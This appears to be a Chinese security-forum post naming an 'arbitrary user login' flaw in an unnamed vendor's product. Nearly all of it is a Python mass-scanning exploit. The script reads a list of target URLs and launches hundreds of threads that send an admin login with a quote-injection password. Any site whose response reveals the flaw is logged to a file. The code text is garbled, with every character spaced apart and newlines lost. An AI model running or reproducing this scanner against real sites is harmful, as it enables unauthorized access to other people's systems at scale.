[20565] 2021-04-14_某潮任意用户登录漏洞

文档创建者:s7ckTeam
浏览次数:16
最后更新:2025-01-18
2021-04-14_某潮任意用户登录漏洞 K h a n   2 0 2 1 - 0 4 - 1 4 #   , 1 3 #   , 1 9 #   , 1 3 #   , 1 9 #   , 1 5 i m p o r t   s y s , r e q u e s t s , u r l l i b 3 , t h r e a d i n g u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) l o c k   =   t h r e a d i n g . L o c k ( ) d e f   e x p ( u r l ) :         e x p _ u r l   =   u r l   +   ' / l o g i n '         h e a d e r s   =   {               " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( L i n u x ;   A n d r o i d   6 . 0 ;   N e x u s   5   B u i l d / M R A 5 8 N )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o ) C h r o m e / 8 8 . 0 . 4 3 2 4 . 1 9 2   M o b i l e   S a f a r i / 5 3 7 . 3 6 "         }         p o c   = {                 ' o p ' : ' l o g i n ' ,                 ' u s e r n a m e ' : ' a d m i n ' ,                 ' p a s s w o r d ' : " p w d ' "         }           t r y :               r e t   =   r e q u e s t s . p o s t ( e x p _ u r l , h e a d e r s = h e a d e r s , d a t a   = p o c ,   t i m e o u t = 1 0 , v e r i f y = F a l s e )                 i f   ' u n e x p e c t e d   E O F '   i n   r e t . t e x t :                         l o c k . a c q u i r e ( )                       t r y :                                 w i t h   o p e n ( ' s u c c e s s . t x t ' , ' a ' )   a s   f :                                         f . w r i t e ( e x p _ u r l + ' n ' )                                         p r i n t ( u r l )                                 l o c k . r e l e a s e ( )                       e x c e p t :                                 l o c k . r e l e a s e ( )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( e )                 p a s s d e f   p r i n t f ( ) :         p r i n t ( ' ' ' u s e :   p y t h o n 3   v 4 . 0 . p y   u r l . t x t ' ' ' ) i f _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         t h r e a d   =   [ ]         i f   l e n ( s y s . a r g v )   ! =   2 :                 p r i n t f ( )                 e x i t ( 0 )         w i t h   o p e n ( s y s . a r g v [ 1 ] )   a s   f :                 f o r   u r l   i n   f :                       u r l   =   u r l . r e p l a c e ( ' n ' , ' ' )                         i f   u r l . f i n d ( ' h t t p ' )   = =   - 1 :                                 u r l   =   ' h t t p : / / ' + u r l                         t   =   t h r e a d i n g . T h r e a d ( t a r g e t = e x p , a r g s = ( u r l , ) )                       t h r e a d . a p p e n d ( t )                         t . s t a r t ( )                         i f   l e n ( t h r e a d )   >   8 0 0 :                                 f o r   i   i n   t h r e a d :                                         i . j o i n                                 t h r e a d   =   [ ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则